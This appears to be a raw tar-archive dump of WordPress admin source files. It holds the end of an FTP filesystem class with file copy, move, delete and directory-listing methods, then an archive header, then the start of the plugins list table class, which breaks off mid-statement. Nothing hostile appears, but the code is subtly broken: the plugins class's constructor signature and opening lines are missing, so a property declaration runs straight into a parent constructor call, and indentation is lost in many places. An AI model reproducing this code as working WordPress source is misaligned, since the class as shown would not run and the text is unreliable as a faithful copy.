	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

$content = $this->get_contents( $source );

if ( false === $content ) {
			return false;
		}

return $this->put_contents( $destination, $content, $mode );
	}

/**
	 * Moves a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return $this->ftp->rename( $source, $destination );
	}

/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			return false;
		}

if ( 'f' === $type || $this->is_file( $file ) ) {
			return $this->ftp->delete( $file );
		}

if ( ! $recursive ) {
			return $this->ftp->rmdir( $file );
		}

return $this->ftp->mdel( $file );
	}

/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file or directory.
	 * @return bool Whether $file exists or not.
	 */
	public function exists( $file ) {
		$list = $this->ftp->nlist( $file );

if ( empty( $list ) && $this->is_dir( $file ) ) {
			return true; // File is an empty directory.
		}

return ! empty( $list ); // Empty list = no file, so invert.
		// Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server.
	}

/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		if ( $this->is_dir( $file ) ) {
			return false;
		}

if ( $this->exists( $file ) ) {
			return true;
		}

return false;
	}

/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		$cwd = $this->cwd();

if ( $this->chdir( $path ) ) {
			$this->chdir( $cwd );
			return true;
		}

return false;
	}

/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return true;
	}

/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file or directory.
	 * @return bool Whether $file is writable.
	 */
	public function is_writable( $file ) {
		return true;
	}

/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return $this->ftp->mdtm( $file );
	}

/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return $this->ftp->filesize( $file );
	}

/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $path  Path for new directory.
	 * @param int|false  $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                          Default false.
	 * @param string|int $chown Optional. A user name or number (or false to skip chown).
	 *                          Default false.
	 * @param string|int $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

if ( empty( $path ) ) {
			return false;
		}

if ( ! $this->ftp->mkdir( $path ) ) {
			return false;
		}

if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

$this->chmod( $path, $chmod );

return true;
	}

/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of files. False if unable to list directory contents.
	 *
	 *     @type string $name        Name of the file or directory.
	 *     @type string $perms       *nix representation of permissions.
	 *     @type int    $permsn      Octal representation of permissions.
	 *     @type string $owner       Owner name or ID.
	 *     @type int    $size        Size of file in bytes.
	 *     @type int    $lastmodunix Last modified unix timestamp.
	 *     @type mixed  $lastmod     Last modified month (3 letter) and day (without leading 0).
	 *     @type int    $time        Last modified time.
	 *     @type string $type        Type of resource. 'f' for file, 'd' for directory.
	 *     @type mixed  $files       If a directory and $recursive is true, contains another array of files.
	 * }
	 */
	public function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path ) . '/';
		} else {
			$limit_file = false;
		}

mbstring_binary_safe_encoding();

$list = $this->ftp->dirlist( $path );

if ( empty( $list ) && ! $this->exists( $path ) ) {

reset_mbstring_encoding();

return false;
		}

$ret = array();

foreach ( $list as $struc ) {

if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue;
			}

if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

if ( $limit_file && $struc['name'] != $limit_file ) {
				continue;
			}

// Replace symlinks formatted as "source -> target" with just the source name.
			if ( $struc['islink'] ) {
				$struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] );
			}

// Add the octal representation of the file permissions.
			$struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] );

$ret[ $struc['name'] ] = $struc;
		}

reset_mbstring_encoding();

return $ret;
	}

/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */
	public function __destruct() {
		$this->ftp->quit();
	}
}
��������������������������������������������������������class-wp-plugins-list-table.php���������������������������������������������������������������������0000604�����������������00000123777�15075125354�0012547 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Plugins_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed plugins in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Plugins_List_Table extends WP_List_Table {
	/**
	 * Whether to show the auto-updates UI.
	 *
	 * @since 5.5.0
	 *
	 * @var bool True if auto-updates UI is to be shown, false otherwise.
	 */
	protected $show_autoupdates = true;

parent::__construct(
			array(
				'plural' => 'plugins',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

$allowed_statuses = array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled' );

$status = 'all';
		if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], $allowed_statuses, true ) ) {
			$status = $_REQUEST['plugin_status'];
		}

if ( isset( $_REQUEST['s'] ) ) {
			$_SERVER['REQUEST_URI'] = add_query_arg( 's', wp_unslash( $_REQUEST['s'] ) );
		}

$page = $this->get_pagenum();

$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'plugin' )
			&& current_user_can( 'update_plugins' )
			&& ( ! is_multisite() || $this->screen->in_admin( 'network' ) )
			&& ! in_array( $status, array( 'mustuse', 'dropins' ), true );
	}

/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'activate_plugins' );
	}

/**
	 * @global string $status
	 * @global array  $plugins
	 * @global array  $totals
	 * @global int    $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $plugins, $totals, $page, $orderby, $order, $s;

wp_reset_vars( array( 'orderby', 'order' ) );

/**
		 * Filters the full array of plugins to list in the Plugins list table.
		 *
		 * @since 3.0.0
		 *
		 * @see get_plugins()
		 *
		 * @param array $all_plugins An array of plugins to display in the list table.
		 */
		$all_plugins = apply_filters( 'all_plugins', get_plugins() );

$plugins = array(
			'all'                => $all_plugins,
			'search'             => array(),
			'active'             => array(),
			'inactive'           => array(),
			'recently_activated' => array(),
			'upgrade'            => array(),
			'mustuse'            => array(),
			'dropins'            => array(),
			'paused'             => array(),
		);
		if ( $this->show_autoupdates ) {
			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

$plugins['auto-update-enabled']  = array();
			$plugins['auto-update-disabled'] = array();
		}

$screen = $this->screen;

if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) {

/**
			 * Filters whether to display the advanced plugins list table.
			 *
			 * There are two types of advanced plugins - must-use and drop-ins -
			 * which can be used in a single site or Multisite network.
			 *
			 * The $type parameter allows you to differentiate between the type of advanced
			 * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
			 *
			 * @since 3.0.0
			 *
			 * @param bool   $show Whether to show the advanced plugins for the specified
			 *                     plugin type. Default true.
			 * @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
			 */
			if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) {
				$plugins['mustuse'] = get_mu_plugins();
			}

/** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) ) {
				$plugins['dropins'] = get_dropins();
			}

if ( current_user_can( 'update_plugins' ) ) {
				$current = get_site_transient( 'update_plugins' );
				foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
					if ( isset( $current->response[ $plugin_file ] ) ) {
						$plugins['all'][ $plugin_file ]['update'] = true;
						$plugins['upgrade'][ $plugin_file ]       = $plugins['all'][ $plugin_file ];
					}
				}
			}
		}

if ( ! $screen->in_admin( 'network' ) ) {
			$show = current_user_can( 'manage_network_plugins' );
			/**
			 * Filters whether to display network-active plugins alongside plugins active for the current site.
			 *
			 * This also controls the display of inactive network-only plugins (plugins with
			 * "Network: true" in the plugin header).
			 *
			 * Plugins cannot be network-activated or network-deactivated from this screen.
			 *
			 * @since 4.4.0
			 *
			 * @param bool $show Whether to show network-active plugins. Default is whether the current
			 *                   user can manage network plugins (ie. a Super Admin).
			 */
			$show_network_active = apply_filters( 'show_network_active_plugins', $show );
		}

if ( $screen->in_admin( 'network' ) ) {
			$recently_activated = get_site_option( 'recently_activated', array() );
		} else {
			$recently_activated = get_option( 'recently_activated', array() );
		}

foreach ( $recently_activated as $key => $time ) {
			if ( $time + WEEK_IN_SECONDS < time() ) {
				unset( $recently_activated[ $key ] );
			}
		}

if ( $screen->in_admin( 'network' ) ) {
			update_site_option( 'recently_activated', $recently_activated );
		} else {
			update_option( 'recently_activated', $recently_activated );
		}

$plugin_info = get_site_transient( 'update_plugins' );

foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
			// Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
			if ( isset( $plugin_info->response[ $plugin_file ] ) ) {
				$plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
			} elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) {
				$plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
			} elseif ( empty( $plugin_data['update-supported'] ) ) {
				$plugin_data['update-supported'] = false;
			}

/*
			 * Create the payload that's used for the auto_update_plugin filter.
			 * This is the same data contained within $plugin_info->(response|no_update) however
			 * not all plugins will be contained in those keys, this avoids unexpected warnings.
			 */
			$filter_payload = array(
				'id'            => $plugin_file,
				'slug'          => '',
				'plugin'        => $plugin_file,
				'new_version'   => '',
				'url'           => '',
				'package'       => '',
				'icons'         => array(),
				'banners'       => array(),
				'banners_rtl'   => array(),
				'tested'        => '',
				'requires_php'  => '',
				'compatibility' => new stdClass(),
			);
			$filter_payload = (object) array_merge( $filter_payload, array_intersect_key( $plugin_data, $filter_payload ) );

$type = 'plugin';
			/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
			$auto_update_forced = apply_filters( "auto_update_{$type}", null, $filter_payload );

if ( ! is_null( $auto_update_forced ) ) {
				$plugin_data['auto-update-forced'] = $auto_update_forced;
			}

$plugins['all'][ $plugin_file ] = $plugin_data;
			// Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade.
			if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) {
				$plugins['upgrade'][ $plugin_file ] = $plugin_data;
			}

// Filter into individual sections.
			if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) {
				if ( $show_network_active ) {
					// On the non-network screen, show inactive network-only plugins if allowed.
					$plugins['inactive'][ $plugin_file ] = $plugin_data;
				} else {
					// On the non-network screen, filter out network-only plugins as long as they're not individually active.
					unset( $plugins['all'][ $plugin_file ] );
				}
			} elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) {
				if ( $show_network_active ) {
					// On the non-network screen, show network-active plugins if allowed.
					$plugins['active'][ $plugin_file ] = $plugin_data;
				} else {
					// On the non-network screen, filter out network-active plugins.
					unset( $plugins['all'][ $plugin_file ] );
				}
			} elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) )
				|| ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) {
				// On the non-network screen, populate the active list with plugins that are individually activated.
				// On the network admin screen, populate the active list with plugins that are network-activated.
				$plugins['active'][ $plugin_file ] = $plugin_data;

if ( ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file ) ) {
					$plugins['paused'][ $plugin_file ] = $plugin_data;
				}
			} else {
				if ( isset( $recently_activated[ $plugin_file ] ) ) {
					// Populate the recently activated list with plugins that have been recently activated.
					$plugins['recently_activated'][ $plugin_file ] = $plugin_data;
				}
				// Populate the inactive list with plugins that aren't activated.
				$plugins['inactive'][ $plugin_file ] = $plugin_data;
			}

if ( $this->show_autoupdates ) {
				$enabled = in_array( $plugin_file, $auto_updates, true ) && $plugin_data['update-supported'];
				if ( isset( $plugin_data['auto-update-forced'] ) ) {
					$enabled = (bool) $plugin_data['auto-update-forced'];
				}

if ( $enabled ) {
					$plugins['auto-update-enabled'][ $plugin_file ] = $plugin_data;
				} else {
					$plugins['auto-update-disabled'][ $plugin_file ] = $plugin_data;
				}
			}
		}

if ( strlen( $s ) ) {
			$status            = 'search';
			$plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) );
		}

$totals = array();
		foreach ( $plugins as $type => $list ) {
			$totals[ $type ] = count( $list );
		}

if ( empty( $plugins[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
			$status = 'all';
		}

$this->items = array();
		foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) {
			// Translate, don't apply markup, sanitize HTML.
			$this->items[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true );
		}

$total_this_page = $totals[ $status ];

$js_plugins = array();
		foreach ( $plugins as $key => $list ) {
			$js_plugins[ $key ] = array_keys( (array) $list );
		}

wp_localize_script(
			'updates',
			'_wpUpdatesItemCounts',
			array(
				'plugins' => $js_plugins,
				'totals'  => wp_get_update_data(),
			)
		);

if ( ! $orderby ) {
			$orderby = 'Name';
		} else {
			$orderby = ucfirst( $orderby );
		}

$order = strtoupper( $order );

uasort( $this->items, array( $this, '_order_callback' ) );

$plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 );

$start = ( $page - 1 ) * $plugins_per_page;

if ( $total_this_page > $plugins_per_page ) {
			$this->items = array_slice( $this->items, $start, $plugins_per_page );
		}

$this->set_pagination_args(
			array(
				'total_items' => $total_this_page,
				'per_page'    => $plugins_per_page,
			)
		);
	}

/**
	 * @global string $s URL encoded search term.
	 *
	 * @param array $plugin
	 * @return bool
	 */
	public function _search_callback( $plugin ) {
		global $s;

foreach ( $plugin as $value ) {
			if ( is_string( $value ) && false !== stripos( strip_tags( $value ), urldecode( $s ) ) ) {
				return true;
			}
		}

return false;
	}

/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $plugin_a
	 * @param array $plugin_b
	 * @return int
	 */
	public function _order_callback( $plugin_a, $plugin_b ) {
		global $orderby, $order;

$a = $plugin_a[ $orderby ];
		$b = $plugin_b[ $orderby ];

if ( $a == $b ) {
			return 0;
		}

if ( 'DESC' === $order ) {
			return strcasecmp( $b, $a );
		} else {
			return strcasecmp( $a, $b );
		}
	}

/**
	 * @global array $plugins
	 */
	public function no_items() {
		global $plugins;

if ( ! empty( $_REQUEST['s'] ) ) {
			$s = esc_html( wp_unslash( $_REQUEST['s'] ) );

/* translators: %s: Plugin search term. */
			printf( __( 'No plugins found for &#8220;%s&#8221;.' ), $s );

// We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link.
			if ( ! is_multisite() && current_user_can( 'install_plugins' ) ) {
				echo ' <a href="' . esc_url( admin_url( 'plugin-install.php?tab=search&s=' . urlencode( $s ) ) ) . '">' . __( 'Search for plugins in the WordPress Plugin Directory.' ) . '</a>';
			}
		} elseif ( ! empty( $plugins['all'] ) ) {
			_e( 'No plugins found.' );
		} else {
			_e( 'No plugins are currently available.' );
		}
	}

/**
	 * Displays the search box.
	 *
	 * @since 4.6.0
	 *
	 * @param string $text     The 'submit' button label.
	 * @param string $input_id ID attribute value for the search input field.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
			return;
		}

$input_id = $input_id . '-search-input';

if ( ! empty( $_REQUEST['orderby'] ) ) {
			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['order'] ) ) {
			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
		}
		?>
		<p class="search-box">
			<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
			<input type="search" id="<?php echo esc_attr( $input_id ); ?>" class="wp-filter-search" name="s" value="<?php _admin_search_query(); ?>" placeholder="<?php esc_attr_e( 'Search installed plugins...' ); ?>"/>
			<?php submit_button( $text, 'hide-if-js', '', false, array( 'id' => 'search-submit' ) ); ?>
		</p>
		<?php
	}

/**
	 * @global string $status
	 * @return array
	 */
	public function get_columns() {
		global $status;

$columns = array(
			'cb'          => ! in_array( $status, array( 'mustuse', 'dropins' ), true ) ? '<input type="checkbox" />' : '',
			'name'        => __( 'Plugin' ),
			'description' => __( 'Description' ),
		);

if ( $this->show_autoupdates ) {
			$columns['auto-updates'] = __( 'Automatic Updates' );
		}

return $columns;
	}

/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array();
	}

/**
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( ! $count ) {
				continue;
			}

switch ( $type ) {
				case 'all':
					/* translators: %s: Number of plugins. */
					$text = _nx(
						'All <span class="count">(%s)</span>',
						'All <span class="count">(%s)</span>',
						$count,
						'plugins'
					);
					break;
				case 'active':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Active <span class="count">(%s)</span>',
						'Active <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'recently_activated':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Recently Active <span class="count">(%s)</span>',
						'Recently Active <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'inactive':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Inactive <span class="count">(%s)</span>',
						'Inactive <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'mustuse':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Must-Use <span class="count">(%s)</span>',
						'Must-Use <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'dropins':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Drop-in <span class="count">(%s)</span>',
						'Drop-ins <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'paused':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Paused <span class="count">(%s)</span>',
						'Paused <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'upgrade':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Update Available <span class="count">(%s)</span>',
						'Update Available <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-enabled':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Auto-updates Enabled <span class="count">(%s)</span>',
						'Auto-updates Enabled <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-disabled':
					/* translators: %s: Number of plugins. */
					$text = _n(
						'Auto-updates Disabled <span class="count">(%s)</span>',
						'Auto-updates Disabled <span class="count">(%s)</span>',
						$count
					);
					break;
			}

if ( 'search' !== $type ) {
				$status_links[ $type ] = sprintf(
					"<a href='%s'%s>%s</a>",
					add_query_arg( 'plugin_status', $type, 'plugins.php' ),
					( $type === $status ) ? ' class="current" aria-current="page"' : '',
					sprintf( $text, number_format_i18n( $count ) )
				);
			}
		}

return $status_links;
	}

/**
	 * @global string $status
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

$actions = array();

if ( 'active' !== $status ) {
			$actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Activate' ) : __( 'Activate' );
		}

if ( 'inactive' !== $status && 'recent' !== $status ) {
			$actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Deactivate' ) : __( 'Deactivate' );
		}

if ( ! is_multisite() || $this->screen->in_admin( 'network' ) ) {
			if ( current_user_can( 'update_plugins' ) ) {
				$actions['update-selected'] = __( 'Update' );
			}

if ( current_user_can( 'delete_plugins' ) && ( 'active' !== $status ) ) {
				$actions['delete-selected'] = __( 'Delete' );
			}

if ( $this->show_autoupdates ) {
				if ( 'auto-update-enabled' !== $status ) {
					$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
				}
				if ( 'auto-update-disabled' !== $status ) {
					$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
				}
			}
		}

return $actions;
	}

/**
	 * @global string $status
	 * @param string $which
	 */
	public function bulk_actions( $which = '' ) {
		global $status;

if ( in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			return;
		}

parent::bulk_actions( $which );
	}

/**
	 * @global string $status
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $status;

if ( ! in_array( $status, array( 'recently_activated', 'mustuse', 'dropins' ), true ) ) {
			return;
		}

echo '<div class="alignleft actions">';

if ( 'recently_activated' === $status ) {
			submit_button( __( 'Clear List' ), '', 'clear-recent-list', false );
		} elseif ( 'top' === $which && 'mustuse' === $status ) {
			echo '<p>' . sprintf(
				/* translators: %s: mu-plugins directory name. */
				__( 'Files in the %s directory are executed automatically.' ),
				'<code>' . str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) . '</code>'
			) . '</p>';
		} elseif ( 'top' === $which && 'dropins' === $status ) {
			echo '<p>' . sprintf(
				/* translators: %s: wp-content directory name. */
				__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
			) . '</p>';
		}
		echo '</div>';
	}

/**
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_POST['clear-recent-list'] ) ) {
			return 'clear-recent-list';
		}

return parent::current_action();
	}

/**
	 * @global string $status
	 */
	public function display_rows() {
		global $status;

if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ), true ) ) {
			return;
		}

foreach ( $this->items as $plugin_file => $plugin_data ) {
			$this->single_row( array( $plugin_file, $plugin_data ) );
		}
	}

/**
	 * @global string $status
	 * @global int $page
	 * @global string $s
	 * @global array $totals
	 *
	 * @param array $item
	 */
	public function single_row( $item ) {
		global $status, $page, $s, $totals;
		static $plugin_id_attrs = array();

list( $plugin_file, $plugin_data ) = $item;

$plugin_slug    = isset( $plugin_data['slug'] ) ? $plugin_data['slug'] : sanitize_title( $plugin_data['Name'] );
		$plugin_id_attr = $plugin_slug;

// Ensure the ID attribute is unique.
		$suffix = 2;
		while ( in_array( $plugin_id_attr, $plugin_id_attrs, true ) ) {
			$plugin_id_attr = "$plugin_slug-$suffix";
			$suffix++;
		}

$plugin_id_attrs[] = $plugin_id_attr;

$context = $status;
		$screen  = $this->screen;

// Pre-order.
		$actions = array(
			'deactivate' => '',
			'activate'   => '',
			'details'    => '',
			'delete'     => '',
		);

// Do not restrict by default.
		$restrict_network_active = false;
		$restrict_network_only   = false;

if ( 'mustuse' === $context ) {
			$is_active = true;
		} elseif ( 'dropins' === $context ) {
			$dropins     = _get_dropins();
			$plugin_name = $plugin_file;
			if ( $plugin_file != $plugin_data['Name'] ) {
				$plugin_name .= '<br/>' . $plugin_data['Name'];
			}
			if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant.
				$is_active   = true;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
			} elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true.
				$is_active   = true;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
			} else {
				$is_active   = false;
				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . ' <span class="error-message">' . __( 'Inactive:' ) . '</span></strong> ' .
					sprintf(
						/* translators: 1: Drop-in constant name, 2: wp-config.php */
						__( 'Requires %1$s in %2$s file.' ),
						"<code>define('" . $dropins[ $plugin_file ][1] . "', true);</code>",
						'<code>wp-config.php</code>'
					) . '</p>';
			}
			if ( $plugin_data['Description'] ) {
				$description .= '<p>' . $plugin_data['Description'] . '</p>';
			}
		} else {
			if ( $screen->in_admin( 'network' ) ) {
				$is_active = is_plugin_active_for_network( $plugin_file );
			} else {
				$is_active               = is_plugin_active( $plugin_file );
				$restrict_network_active = ( is_multisite() && is_plugin_active_for_network( $plugin_file ) );
				$restrict_network_only   = ( is_multisite() && is_network_only_plugin( $plugin_file ) && ! $is_active );
			}

if ( $screen->in_admin( 'network' ) ) {
				if ( $is_active ) {
					if ( current_user_can( 'manage_network_plugins' ) ) {
						$actions['deactivate'] = sprintf(
							'<a href="%s" id="deactivate-%s" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Network Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Network Deactivate' )
						);
					}
				} else {
					if ( current_user_can( 'manage_network_plugins' ) ) {
						$actions['activate'] = sprintf(
							'<a href="%s" id="activate-%s" class="edit" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Network Activate %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Network Activate' )
						);
					}

if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) ) {
						$actions['delete'] = sprintf(
							'<a href="%s" id="delete-%s" class="delete" aria-label="%s">%s</a>',
							wp_nonce_url( 'plugins.php?action=delete-selected&amp;checked[]=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins' ),
							esc_attr( $plugin_id_attr ),
							/* translators: %s: Plugin name. */
							esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ),
							__( 'Delete' )
						);
					}
				}
			} else {
				if ( $restrict_network_active ) {
					$actions = array(
						'network_active' => __( 'Network Active' ),
					);
				} elseif ( $restrict_network_only ) {
					$actions = array(
						'network_only' => __( 'Network Only' ),
					);
				} elseif ( $is_active ) {
					if ( current_user_can( 'deactivate_plugin', $plugin_file ) ) {
						$actions['deactivate'] = sprintf(
